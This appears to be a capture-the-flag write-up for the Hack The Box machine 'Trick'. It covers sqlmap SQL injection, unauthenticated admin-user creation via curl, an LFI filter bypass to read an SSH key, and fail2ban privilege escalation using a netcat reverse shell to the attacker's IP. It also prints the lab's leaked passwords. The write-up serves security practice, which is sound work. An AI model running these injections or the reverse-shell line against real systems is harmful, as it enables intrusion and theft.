6 minute read

Enumeration

nmap scan


Starting Nmap 7.91 ( https://nmap.org ) at 2022-06-25 10:34 UTC
Nmap scan report for 10.10.11.166
Host is up (0.074s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
Service Info: Host:  debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel

DNS server enumeration

trying zone transfer, we have to guess the domain name which is trick.htb

photo

found subdomain: preprod-payroll.trick.htb

port 80 web server enumeration

This result revealed a hidden login page

photo

Running gobuster on target

/ajax.php             (Status: 200) [Size: 0]
/assets               (Status: 301) [Size: 185] [--> http://preprod-payroll.trick.htb/assets/]
/database             (Status: 301) [Size: 185] [--> http://preprod-payroll.trick.htb/database/]
/db_connect.php       (Status: 200) [Size: 0]                                                   
/employee.php         (Status: 200) [Size: 2717]                                                
/header.php           (Status: 200) [Size: 2548]                                                
/home.php             (Status: 200) [Size: 486]                                                 
/index.php            (Status: 302) [Size: 9546] [--> login.php]                                
/index.php            (Status: 302) [Size: 9546] [--> login.php]                                
/login.php            (Status: 200) [Size: 5571]                                                
/users.php            (Status: 200) [Size: 2197] 

in users.php I found username for admin ==> Enemigosss

photo

by using curl we can bypass login page and view page content

in page employee, found employee john smith

in users.php, found another hidden page manage_user.php

photo

seems like we can send a post request to add new user

<div class="container-fluid">
	
	<form action="" id="manage-user">
		<input type="hidden" name="id" value="">
		<div class="form-group">
			<label for="name">Name</label>
			<input type="text" name="name" id="name" class="form-control" value="" required>
		</div>
		<div class="form-group">
			<label for="username">Username</label>
			<input type="text" name="username" id="username" class="form-control" value="" required>
		</div>
		<div class="form-group">
			<label for="password">Password</label>
			<input type="password" name="password" id="password" class="form-control" value="" required>
		</div>
		<div class="form-group">
			<label for="type">User Type</label>
			<select name="type" id="type" class="custom-select">
				<option value="1" >Admin</option>
				<option value="2" >Staff</option>
			</select>
		</div>
	</form>
</div>
<script>
	$('#manage-user').submit(function(e){
		e.preventDefault();
		start_load()
		$.ajax({
			url:'ajax.php?action=save_user',
			method:'POST',
			data:$(this).serialize(),
			success:function(resp){
				if(resp ==1){
					alert_toast("Data successfully saved",'success')
					setTimeout(function(){
						location.reload()
					},1500)
				}
			}
		})
	})
</script> 

sending request with curl

┌──(kali㉿kali)-[~/HTB-Boxes/Trick]
└─$ curl -X POST "http://preprod-payroll.trick.htb/ajax.php?action=save_user" --data "id=1&name=john&username=john&password=123321&type=1"
1                                                                       

now we can login with the newly created user

photo

If there is a login page, I suspect the target maybe running a SQL server locally. That mean maybe we can progress with SQL injection

When we are adding new user, a POST request is sent to ajax.php with parameter like id, name, password and type. We can use sqlmap to test if these parameter are vulnerable to SQL injection.

Let’s fire up sqlmap

sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=save_user" --data "id=1&name=john&username=john&password=123321&type=1" --dbs

The result:

sqlmap identified the following injection point(s) with a total of 313 HTTP(s) requests:
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (8128=8128) THEN 1 ELSE (SELECT 9557 UNION SELECT 6871) END))&name=john&username=john&password=123321&type=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 3363 FROM (SELECT(SLEEP(5)))MuLH)&name=john&username=john&password=123321&type=1
---
[05:35:52] [INFO] the back-end DBMS is MySQL
web application technology: PHP, Nginx 1.14.2
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[05:35:52] [INFO] fetching database names
[05:35:52] [INFO] fetching number of databases
[05:35:52] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[05:35:52] [INFO] retrieved: 2
[05:35:53] [INFO] retrieved: information_schema
[05:36:06] [INFO] retrieved: payroll_db
available databases [2]:
[*] information_schema
[*] payroll_db

enum db table sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=save_user" --data "id=1&name=john&username=john&password=123321&type=1" -D payroll_db --tables result:

Database: payroll_db
[11 tables]
+---------------------+
| position            |
| allowances          |
| attendance          |
| deductions          |
| department          |
| employee            |
| employee_allowances |
| employee_deductions |
| payroll             |
| payroll_items       |
| users               |
+---------------------+


trying to enum user table but realized I keep change the user password with this parameter, so I decided to use the manage_employee function to test for the test

photo

sqlmap --flush-session -u "http://preprod-payroll.trick.htb/ajax.php?action=save_employee" --data "id=1&firstname=John&middlename=C&lastname=Smith&department_id=1&position_id=1&salary=69" --dbs

In the users table I found the password for user Enemigosss:SuperGucciRainbowCake

Another thing I did is checking current database user privilege:

sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=save_employee" --data "id=1&firstname=John&middlename=C&lastname=Smith&department_id=1&position_id=1&salary=69" --current-user --privileges --threads 10

database management system users privileges:
[*] %remo% [1]:
    privilege: FILE

The current user have the permission to read/write files, we can use the –file-read option in sqlmap to read local file.

In /etc/passwd, I found another user michael

In the initial nmap scan, we learned that the target is using nginx for web server, maybe we can use our privilege to read the config files, I tried to read some of the common files for nginx https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-files.txt and found /etc/nginx/sites-enabled/default, it shows the root directory of the web

photo

also found another subdomain

photo

earlier with gobuster we found db_connect.php, worth checking it out file content:

<?php 

$conn= new mysqli('localhost','remo','TrulyImpossiblePasswordLmao123','payroll_db')or die("Could not connect to mysql".mysqli_error($con));

We found the password for user remo:TrulyImpossiblePasswordLmao123

Let’s add preprod-marketing.trick.htb to /etc/hosts and check it out

The website shows the employee name

photo

looking at the url, the parameter page seems vulnerable, maybe LFI will work on the parameter “page”

http://preprod-marketing.trick.htb/index.php?page=about.html

getting index.php

sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=save_employee" --data "id=1&firstname=John&middlename=C&lastname=Smith&department_id=1&position_id=1&salary=69" --file-read=/var/www/market/index.php --threads 10

Let’s look at the source code of index.php to confirm our assumption:

photo

It is trying to filter the input for the parameter page

there are some tricks to bypass this: https://book.hacktricks.xyz/pentesting-web/file-inclusion#filter-bypass-tricks

let’s try ….//….//….//etc/passwd, it is working!

photo

now try to read user michael ssh private key

photo

got user michael

photo

Privilege Escalation

Checking user privilege

photo

I have seen this before, it appeared in proving_ground machine “Fail”. I am using obsidian for note taking, it allows me to search through all the notes with the key word “fail2ban”, I highly recommend anyone to use it as a note taking app.

Checking if we have write permission on action.d

michael@trick:/etc/fail2ban/action.d$ ls -al
total 288
drwxrwx--- 2 root security  4096 Jun 26 17:12 .
drwxr-xr-x 6 root root      4096 Jun 26 17:12 ..
...
...
...
...
-rw-r--r-- 1 root root      1420 Jun 26 17:18 iptables-multiport.conf
-rw-r--r-- 1 root root      2082 Jun 26 17:18 iptables-multiport-log.conf
-rw-r--r-- 1 root root      1497 Jun 26 17:18 iptables-new.conf
-rw-r--r-- 1 root root      2584 Jun 26 17:18 iptables-xt_recent-echo.conf

the user michael belongs to the group security! however the current file belongs to user root, so we have to delete the file and create a new one

the parameter we need to change is actionban

# Fail2Ban configuration file
#
# Author: Cyril Jaquier
# Modified by Yaroslav Halchenko for multiport banning
#

[INCLUDES]

before = iptables-common.conf

[Definition]

# Option:  actionstart
# Notes.:  command executed once at the start of Fail2Ban.
# Values:  CMD
#
actionstart = <iptables> -N f2b-<name>
              <iptables> -A f2b-<name> -j <returntype>
              <iptables> -I <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>

# Option:  actionstop
# Notes.:  command executed once at the end of Fail2Ban
# Values:  CMD
#
actionstop = <iptables> -D <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>
             <actionflush>
             <iptables> -X f2b-<name>

# Option:  actioncheck
# Notes.:  command executed once before each actionban command
# Values:  CMD
#
actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'

# Option:  actionban
# Notes.:  command executed when banning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
#actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>
# MALICIOUS COMMEND HERE !!!!!!!
actionban = nohup /usr/bin/nc 10.10.14.66 9002 -e /bin/bash

# Option:  actionunban
# Notes.:  command executed when unbanning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionunban = <iptables> -D f2b-<name> -s <ip> -j <blocktype>

[Init]

rename iptables-multiport and create a new one with our permission

spam ssh login and wait for it to start banning, then it will execute the command and give us a root shell

photo